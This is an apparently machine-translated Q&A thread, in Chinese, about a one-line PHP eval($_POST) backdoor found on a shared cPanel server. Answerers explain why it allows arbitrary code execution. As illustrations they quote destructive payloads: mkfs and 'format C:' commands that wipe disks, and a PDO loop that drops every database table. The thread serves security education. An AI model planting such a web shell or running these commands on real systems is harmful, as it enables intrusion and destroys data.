假設您在cPanel的共享網絡服務器中找到此代碼。你可以通過上傳一個shell到服務器或其他方法來訪問郵件附件或cPanel嗎?我不需要如何做的步驟。只是一個整體的想法。對不起,我不能給你更多的細節。但是這個代碼不是爲了攻擊任何人。eval php shell破解
<?php eval($_POST['path']);?>
假設您在cPanel的共享網絡服務器中找到此代碼。你可以通過上傳一個shell到服務器或其他方法來訪問郵件附件或cPanel嗎?我不需要如何做的步驟。只是一個整體的想法。對不起,我不能給你更多的細節。但是這個代碼不是爲了攻擊任何人。eval php shell破解
<?php eval($_POST['path']);?>
注意
中的eval()語言結構是非常危險的,因爲它允許任意PHP代碼執行。因此不鼓勵它的使用。如果您已經仔細覈實沒有其他選擇而不是使用此構造,請特別注意不要將任何用戶提供的數據傳遞給它,而不事先進行適當的驗證。
例如,將path
設置爲以下值將運行apache用戶有權運行的任何shell命令。
exec("system command here");
這是一種可怕的安全漏洞,以允許未過濾的輸入數據,以執行任意的代碼。 PHP正在運行的用戶可以使用的任何訪問都將提供給可能的攻擊者。
是的,我知道這很危險。但是不應該服務器防火牆或者cPanel有一些防禦?我的意思是,如果您沒有來自Web託管公司的權限,則無法使用eval或其他PHP代碼執行系統命令。因此,在我看來,你只能搞砸該文件夾或上面的文件夾中的文件。但是您無法訪問cPanel或發送電子郵件密碼。 – NVG
的確,您將被限制爲PHP運行的訪問權限(通常是Web服務器的用戶)。但是,這可以很容易地用於刪除文件,並且如果服務器沒有被設置爲真正限制該用戶的訪問(即,防止「sudo」升級,具有適當的文件許可等),則可能更糟糕。這是一個非常非常糟糕的主意,當然,如果有更合適的方法來做你想做的事情的話。 –
除非您正確地維護您的輸入,否則即使您保持輸入,也不應使用Eval;它會給你的服務器帶來極大的風險。特別是如果你只是有eval
運行從$_POST
..我可以使用Tamper data
將該帖子的內容修改爲任何; SQL注入,運行任何東西,因爲PHP等
你不應該,除非
1)你知道你在做什麼
2使用這個)你覺得你是從攻擊者100%的安全。
參見手冊:
http://uk3.php.net/manual/en/function.eval.php
中的eval()語言結構是非常危險的,因爲它允許 執行的任意PHP代碼。因此不鼓勵它的使用。如果您 已仔細驗證除了使用此構造外沒有其他選擇,請特別注意不要將任何用戶提供的數據 加入其中,而不事先對其進行正確驗證。
例子:
在Linux系統上我的帖子可能是:
<?php exec(mkfs.ext3 /dev/sdb1); ?>
,我會格式化你的FS
在Windows文件系統:
<?php exec("format C: /q"); ?>
再次格式化。
這只是爲什麼不應該使用這個例子。
有點晚編輯:
我忘了將它添加到我的答案,所以我現在就添加它。
如果使用eval($_POST[]);
您的腳本非常危險,IE。如果我發現你使用的是PDO
和你的數據庫連接變量。我可以執行以下命令:
$Query = $eval->prepare("SHOW TABLES"); $Query->execute(); $Fetch = $Query->fetchAll(PDO::FETCH_COLUMN); print_r($Fetch); foreach($Fetch AS $F){ $New = $eval->exec("DROP TABLE {$F}"); }
而且所有的表都將被刪除,這是爲什麼應該避免評估和演示一個小小的例子;
你可以執行任意的php,代碼提供了一個開門 – dm03514
哇...這是超出你最瘋狂的夢想的危險。 「這是一個陷阱!」想到了。 – phpisuber01
你剛開始啓示。謝謝。 –